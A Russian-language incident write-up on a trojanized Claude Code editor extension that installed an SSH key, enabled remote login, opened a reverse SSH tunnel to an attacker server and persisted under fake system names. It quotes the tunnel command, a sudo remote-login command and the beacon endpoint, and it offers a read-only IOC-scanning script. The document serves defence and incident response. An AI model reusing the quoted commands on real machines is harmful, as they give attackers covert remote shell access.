Расширение Claude Code с SSH-бэкдором: разбор атаки
Вы расширение даже не открывали. Достаточно было запустить VS Code: через полторы секунды после активации на машине уже работал обратный SSH-туннель к чужому серверу, а в authorized_keys лежал новый ключ с комментарием svc-telemetry.
Речь о сборке anthropic.claude-code@2.1.313, которая появилась в реестре Open-VSX. Её опубликовали с аккаунта сотрудника Anthropic, а в файл extension.js добавили 66 строк загрузчика перед легитимным кодом. Никаких npm-хуков, никакой экзотической упаковки: обычный IIFE с импортами process, fs, os, http и crypto, вклеенный в начало.
Что именно произошло
Троянизированная сборка расширения для редактора кода выполняла чужой код в момент загрузки, а не при обращении к ней. Загрузчик собирал сведения о машине, добавлял в ~/.ssh/authorized_keys публичный ключ Ed25519 с комментарием svc-telemetry, включал удалённый вход и поднимал обратный туннель к серверу 134.209.82.225, после чего закреплялся в системе под именем, похожим на системный демон macOS.
Инцидент разобрали аналитики OpenSourceMalware, первым его заметил Дин Хардкасл. Важная оговорка от самих исследователей: вредоносный образец пришёл из Open-VSX, копию в маркетплейсе Microsoft сняли «из предосторожности», и ничто из опубликованного пока не доказывает взлом инфраструктуры Anthropic. Открытый вопрос это аккаунт публикатора.
Механика по шагам
Сначала разведка. Загрузчик собирал имя хоста, пользователя, версию ОС и архитектуру, домашний каталог, git-почту и имена до 40 переменных окружения, подходящих под KEY, TOKEN, SECRET, PASS, AWS, GCP. Именно имена, не значения: на этом этапе атакующим нужна инвентаризация того, что у вас есть, а не сами секреты.
Потом доступ. Создавался ~/.ssh с правами 0700, в authorized_keys (0600) дописывался ключ Ed25519. Его отпечаток: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk. На macOS загрузчик вызывал sudo -n systemsetup -setremotelogin on, что проходит при passwordless sudo и молча падает без него. На Linux включался sshd, на Windows устанавливался OpenSSH Server.
Дальше туннель. Встроенный приватный ключ декодировался в ${TMPDIR}/.stk_<id>, и запускался цикл ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22' с отключённой проверкой host key, переподключением каждые 60 секунд и autossh, если он есть в системе. Смысл конструкции в том, что сервер атакующих получает доступ к вашему SSH из любой точки мира через ваше же исходящее соединение. Входящие порты открывать не нужно, файрвол ничего не блокирует.
Закрепление сделано под macOS через LaunchAgent com.apple.sysmond.plist с RunAtLoad и KeepAlive, под Linux через @reboot в crontab, под Windows через задачу планировщика SysMon от имени SYSTEM. Наконец маячок: через 1,5 секунды загрузчик узнавал публичный IP через ifconfig.me или api.ipify.org и отправлял собранный JSON на http://134.209.82.225:8099/beacon. Ответ игнорировался, второй стадии в образце не нашли.
Почему обратный туннель хуже обычного бэкдора
Обратный туннель это не просто доступ, а доступ, который почти не видно снаружи. Машина сама инициирует исходящее SSH-соединение и просит удалённую сторону открыть порт, который будет проксировать на локальный 22. Входящих портов на вашей стороне не появляется, правил файрвола менять не нужно, а в логах остаётся обычный исходящий трафик на 22-й порт. Проверка host key отключена, поэтому даже подмена сервера соединение не остановит.
Дальше работает цикл: повтор раз в 60 секунд, а при наличии autossh переподключение живёт само. Для атакующих это дешёвая инфраструктура: один сервер, много машин, каждая стучится сама. Для вас это означает, что разрыв соединения ничего не исправляет, а перезагрузка возвращает всё через RunAtLoad, @reboot или задачу планировщика.
Ключ svc-telemetry в authorized_keys добавляет второй, независимый путь. Даже если убить процесс и снять автозапуск, ключ остаётся, а вместе с включённым Remote Login он даёт вход по SSH без пароля. Поэтому аудит проверяет ключ, процесс и закрепление по отдельности: убрать одно из трёх недостаточно.
Почему это сработало
Три структурные причины, и они важнее конкретных IOC, потому что механизм повторится.
Первая: загрузка это исполнение. Полезная нагрузка отработала при активации расширения, до любого взаимодействия с инструментом. Модель угроз «я пользуюсь Claude только когда сам решу» не выдерживает контакта с тем, как расширения на самом деле загружаются. Редактор стартует, расширение активируется, код выполняется.
Вторая: реестры отдают изменяемые биты. Аккаунт публикатора может заменить код доверенного расширения, и все клиенты с автообновлением получат новую версию. Защита, которая поймала бы это за секунду, называется pinning по хешу, и почти никто не применяет её к расширениям. Проверка ровно та же, что в шестом пункте аудита ниже: shasum -a 256 на загрузчик всего критичного, записанный в момент осознанной установки.
Третья: имена сделаны под социальную инженерию. com.apple.sysmond, SysMon, svc-telemetry: каждый индикатор спроектирован так, чтобы пережить беглый ls. Поэтому аудит проверяет точные имена и точные хеши, а не общее впечатление «вроде ничего лишнего».
Контекст месяца
Это четвёртая история про цепочку поставок агентских инструментов за месяц, и самая интимная. До неё были две скомпрометированные сборки популярного LLM-прокси, 13 500 CI-воркфлоу, сливавших секреты через украденные GitHub-токены, и транскрипты фоновых агентов, уехавшие в модель. Теперь дроппером стал сам инструмент, внутри которого живёт агент.
Закономерность неприятная: периметр смещается внутрь. Раньше защищали сеть, потом API-ключи, теперь приходится защищать редактор, расширение и файл в домашнем каталоге. Агенты при этом не уязвимость. Уязвима экосистема, которая вокруг них собирается, и она растёт быстрее, чем кто-либо успевает её проверять.
Семь проверок, которые стоит прогнать сегодня
Скрипт ниже только читает, ничего не меняет и не требует root. Он собран по опубликованным IOC и проверяет семь вещей: ключ svc-telemetry в authorized_keys, поддельный LaunchAgent, файлы-маркеры .smt, .smtk и smt.cmd, ключ туннеля .stk_* во временном каталоге, живой ssh-процесс с адресом C2, хеш extension.js у установленных копий и неожиданно включённый Remote Login на macOS.
#!/bin/sh
# read-only IOC sweep for anthropic.claude-code@2.1.313
set -u
HITS=0
hit() { HITS=$((HITS+1)); printf '[!!] %s\n' "$1"; }
ok() { printf '[ok] %s\n' "$1"; }
grep -q 'svc-telemetry' "$HOME/.ssh/authorized_keys" 2>/dev/null \
&& hit 'backdoor key in authorized_keys' || ok 'authorized_keys clean'
[ -f "$HOME/Library/LaunchAgents/com.apple.sysmond.plist" ] \
&& hit 'rogue LaunchAgent com.apple.sysmond' || ok 'no rogue LaunchAgent'
for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/.config/smt.cmd"; do
[ -f "$f" ] && hit "marker file $f"
done
ls "${TMPDIR:-/tmp}"/.stk_* >/dev/null 2>&1 \
&& hit 'tunnel key .stk_* in TMPDIR' || ok 'no tunnel key'
pgrep -af ssh 2>/dev/null | grep -q '134\.209\.82\.225' \
&& hit 'live ssh process to C2' || ok 'no live C2 tunnel'
HASH=ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
for d in "$HOME"/.vscode/extensions/anthropic.claude-code-* \
"$HOME"/.cursor/extensions/anthropic.claude-code-*; do
[ -f "$d/extension.js" ] || continue
[ "$(shasum -a 256 "$d/extension.js" | cut -d' ' -f1)" = "$HASH" ] \
&& hit "trojan hash in $d"
done
printf 'indicators found: %s\n' "$HITS"
Чистый прогон не выдаёт бессрочный сертификат здоровья: разобранная сборка одна, а операторы итерируют. Но на сегодняшний вопрос он отвечает. Если хоть одна проверка сработала, порядок такой: отключить машину от сети, менять все учётные данные с другой, заведомо чистой системы (имена переменных собирали не просто так), сохранить артефакты для разбора и пересобрать машину. Интерактивный SSH означает, что найденное может занижать масштаб произошедшего.
Как проверить, что у вас стоит
Версии расширений видны одной командой: code --list-extensions --show-versions печатает список с номерами, и если в нём есть anthropic.claude-code@2.1.313, разбираться нужно сразу. Каталог ~/.vscode/extensions (или ~/.cursor/extensions) хранит установленные копии по папкам вида anthropic.claude-code-<версия>, и хеш extension.js в каждой проверяется тем же shasum.
Отдельно стоит посмотреть, не осталось ли в ~/.ssh/authorized_keys строк, которых вы не добавляли. Файл читают редко, поэтому лишняя строка может жить там месяцами. Быстрый способ: сравнить число ключей с тем, что вы помните, и проверить каждый комментарий на узнаваемость. Комментарий это свободное поле, и атакующие используют его как маскировку.
И ещё: отключите автообновление для расширений с доступом к файловой системе и терминалу. Придётся обновляться руками, зато подмена версии не приедет в фоне, пока вы обедаете.
Что с этим делать дальше
Отдельно стоит пройтись по своим расширениям и понять, сколько из них обновляется сами. Практика «поставил и забыл» здесь равна «отдал код на исполнение тому, кого не выбирал». Минимальный набор: отключить автообновление для критичных расширений, фиксировать хеши загрузчиков, не держать в env-переменных долгоживущие ключи без крайней нужды, а на машинах, где живут агенты с доступом к репозиториям, включить пароль на sudo и не давать passwordless-режим по умолчанию.
И ещё одно, менее техническое. Агентские инструменты теперь ставятся так же легко, как обычные расширения редактора, но последствия у них другого класса: доступ к репозиториям, ключам, CI и продакшену. Гигиена установки должна соответствовать цене ошибки, а она у Claude Code или Cursor заметно выше, чем у подсветки синтаксиса.
Часто задаваемые вопросы
Я не открывал Claude Code, я всё равно в зоне риска? Да, если расширение было установлено и обновлено до заражённой версии. Полезная нагрузка выполнялась при активации расширения на старте редактора, а не при обращении к чату. Проверять нужно факт установки сборки 2.1.313, а не историю ваших запросов.
Достаточно ли сменить пароли? Нет. В системе оставался SSH-ключ, включённый удалённый вход и процесс, который переподключается каждые 60 секунд. Пока машина в сети, смена паролей не мешает доступу по ключу. Сначала изоляция и удаление закрепления, потом ротация с чистой системы, в худшем случае пересборка.
Взломали ли Anthropic? Опубликованные данные этого не показывают. Вредоносная сборка появилась в Open-VSX с аккаунта сотрудника, копию в маркетплейсе Microsoft сняли из предосторожности. Вопрос о том, как именно получен доступ к аккаунту публикатора, на момент разбора оставался открытым.
Хеш расширения это надёжная проверка? Для конкретной известной сборки да, и это единственный способ поймать подмену за секунды. Против будущих версий он не работает, поэтому смысл не в самом хеше, а в привычке фиксировать хеши того, что вы ставите осознанно. Без этой привычки вы узнаёте о подмене из чужих разборов.
Как узнать, какая версия расширения установлена?
code --list-extensions --show-versions печатает все расширения с версиями. Дополнительно можно заглянуть в каталоги ~/.vscode/extensions или ~/.cursor/extensions: каждая установленная копия лежит в папке с версией в имени, а extension.js внутри проверяется по хешу из разбора.
Итог
Троянизированное расширение Claude Code показало неприятную вещь: цепочка поставок добралась до инструмента, внутри которого работает агент, и сделала это без клика, без диалога и без запроса разрешений. Шестьдесят шесть строк в одном файле дали SSH-доступ, удалённый вход, обратный туннель и закрепление под системным именем.
Практический вывод короткий. Прогнать семь проверок, зафиксировать хеши критичных расширений, убрать passwordless sudo с машин, где живут агенты, и перестать считать установку расширения безобидным действием. Всё остальное это детали конкретной сборки, которая уже удалена из реестров.